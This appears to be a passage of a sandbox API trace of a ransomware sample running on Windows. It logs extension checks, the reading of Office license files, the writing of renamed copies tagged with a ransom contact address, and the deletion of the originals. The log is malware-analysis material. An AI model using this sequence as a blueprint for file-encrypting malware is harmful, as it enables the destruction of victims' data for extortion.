	[0161.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.249] lstrlenW (lpString=".1cd") returned 4
	[0161.249] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.249] lstrlenW (lpString=".jpg") returned 4
	[0161.250] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.250] lstrlenW (lpString=".doc") returned 4
	[0161.250] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.250] lstrlenW (lpString=".docx") returned 5
	[0161.250] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.250] lstrlenW (lpString=".pdf") returned 4
	[0161.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.250] lstrlenW (lpString=".xls") returned 4
	[0161.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.250] lstrlenW (lpString=".xlsx") returned 5
	[0161.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.250] lstrlenW (lpString=".ppt") returned 4
	[0161.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.250] lstrlenW (lpString=".zip") returned 4
	[0161.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.250] lstrlenW (lpString=".rar") returned 4
	[0161.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.251] lstrlenW (lpString=".bz2") returned 4
	[0161.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.251] lstrlenW (lpString=".7z") returned 3
	[0161.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.251] lstrlenW (lpString=".dbf") returned 4
	[0161.251] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.251] lstrlenW (lpString=".1cd") returned 4
	[0161.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0161.251] lstrlenW (lpString=".jpg") returned 4
	[0161.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.252] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.252] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30
	[0161.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.253] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19932) returned 1
	[0161.253] CloseHandle (hObject=0x4a4) returned 1
	[0161.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0161.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.254] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.254] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.255] GetLastError () returned 0x0
	[0161.255] ReadFile (in: hFile=0x4a4, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4ddc, lpOverlapped=0x0) returned 1
	[0161.288] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0161.455] ReadFile (in: hFile=0x4a4, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.455] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x110, lpOverlapped=0x0) returned 1
	[0161.455] SetEndOfFile (hFile=0x544) returned 1
	[0161.455] CloseHandle (hObject=0x544) returned 1
	[0161.455] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.455] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.459] CloseHandle (hObject=0x4a4) returned 1
	[0161.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0161.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.865] lstrlenW (lpString=".doc") returned 4
	[0161.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.865] lstrlenW (lpString=".docx") returned 5
	[0161.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.865] lstrlenW (lpString=".pdf") returned 4
	[0161.866] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString=".xls") returned 4
	[0161.866] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString=".xlsx") returned 5
	[0161.866] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.866] lstrlenW (lpString=".ppt") returned 4
	[0161.866] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.866] lstrlenW (lpString=".zip") returned 4
	[0161.866] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString=".rar") returned 4
	[0161.866] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString=".bz2") returned 4
	[0161.866] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString=".7z") returned 3
	[0161.866] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.866] lstrlenW (lpString=".dbf") returned 4
	[0161.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.866] lstrlenW (lpString=".1cd") returned 4
	[0161.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.866] lstrlenW (lpString=".jpg") returned 4
	[0161.867] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.867] lstrlenW (lpString=".doc") returned 4
	[0161.867] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString=".docx") returned 5
	[0161.867] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.867] lstrlenW (lpString=".pdf") returned 4
	[0161.867] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString=".xls") returned 4
	[0161.867] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString=".xlsx") returned 5
	[0161.867] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.867] lstrlenW (lpString=".ppt") returned 4
	[0161.867] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.867] lstrlenW (lpString=".zip") returned 4
	[0161.867] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString=".rar") returned 4
	[0161.867] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.867] lstrlenW (lpString=".bz2") returned 4
	[0161.867] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.868] lstrlenW (lpString=".7z") returned 3
	[0161.868] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.868] lstrlenW (lpString=".dbf") returned 4
	[0161.868] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.868] lstrlenW (lpString=".1cd") returned 4
	[0161.868] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0161.868] lstrlenW (lpString=".jpg") returned 4
	[0161.868] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.868] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.868] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26
	[0161.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0161.869] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11581) returned 1
	[0161.869] CloseHandle (hObject=0x42c) returned 1
	[0161.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0161.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0161.871] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.871] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.872] GetLastError () returned 0x0
	[0161.872] ReadFile (in: hFile=0x42c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d3d, lpOverlapped=0x0) returned 1
	[0161.875] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0161.876] ReadFile (in: hFile=0x42c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.876] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x108, lpOverlapped=0x0) returned 1
	[0161.876] SetEndOfFile (hFile=0x51c) returned 1
	[0161.877] CloseHandle (hObject=0x51c) returned 1
	[0161.877] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.877] SetEndOfFile (hFile=0x42c) returned 1
	[0161.880] CloseHandle (hObject=0x42c) returned 1
	[0161.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1
	[0161.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.882] lstrlenW (lpString=".doc") returned 4
	[0161.882] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.882] lstrlenW (lpString=".docx") returned 5
	[0161.882] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.882] lstrlenW (lpString=".pdf") returned 4
	[0161.882] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.882] lstrlenW (lpString=".xls") returned 4
	[0161.883] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString=".xlsx") returned 5
	[0161.883] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.883] lstrlenW (lpString=".ppt") returned 4
	[0161.883] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.883] lstrlenW (lpString=".zip") returned 4
	[0161.883] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString=".rar") returned 4
	[0161.883] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString=".bz2") returned 4
	[0161.883] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString=".7z") returned 3
	[0161.883] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.883] lstrlenW (lpString=".dbf") returned 4
	[0161.883] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.883] lstrlenW (lpString=".1cd") returned 4
	[0161.883] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.883] lstrlenW (lpString=".jpg") returned 4
	[0161.884] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.884] lstrlenW (lpString=".doc") returned 4
	[0161.884] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.884] lstrlenW (lpString=".docx") returned 5
	[0161.884] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.884] lstrlenW (lpString=".pdf") returned 4
	[0161.884] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.884] lstrlenW (lpString=".xls") returned 4
	[0161.884] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.884] lstrlenW (lpString=".xlsx") returned 5
	[0161.884] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.884] lstrlenW (lpString=".ppt") returned 4
	[0161.884] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.884] lstrlenW (lpString=".zip") returned 4
	[0161.884] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.884] lstrlenW (lpString=".rar") returned 4
	[0161.885] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.885] lstrlenW (lpString=".bz2") returned 4
	[0161.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.885] lstrlenW (lpString=".7z") returned 3
	[0161.885] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.885] lstrlenW (lpString=".dbf") returned 4
	[0161.885] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.885] lstrlenW (lpString=".1cd") returned 4
	[0161.885] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0161.885] lstrlenW (lpString=".jpg") returned 4
	[0161.885] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0161.890] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19926) returned 1
	[0161.891] CloseHandle (hObject=0x52c) returned 1
	[0161.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0161.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0161.891] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.892] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0161.934] GetLastError () returned 0x0
	[0161.934] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dd6, lpOverlapped=0x0) returned 1
	[0161.978] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0161.979] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.979] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x108, lpOverlapped=0x0) returned 1
	[0161.980] SetEndOfFile (hFile=0x514) returned 1
	[0161.980] CloseHandle (hObject=0x514) returned 1
	[0161.980] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.980] SetEndOfFile (hFile=0x52c) returned 1
	[0161.984] CloseHandle (hObject=0x52c) returned 1
	[0161.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1
	[0161.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0161.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0161.991] lstrlenW (lpString=".doc") returned 4
	[0161.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.991] lstrlenW (lpString=".docx") returned 5
	[0161.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.991] lstrlenW (lpString=".pdf") returned 4
	[0161.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.991] lstrlenW (lpString=".xls") returned 4
	[0161.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.991] lstrlenW (lpString=".xlsx") returned 5
	[0161.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.991] lstrlenW (lpString=".ppt") returned 4
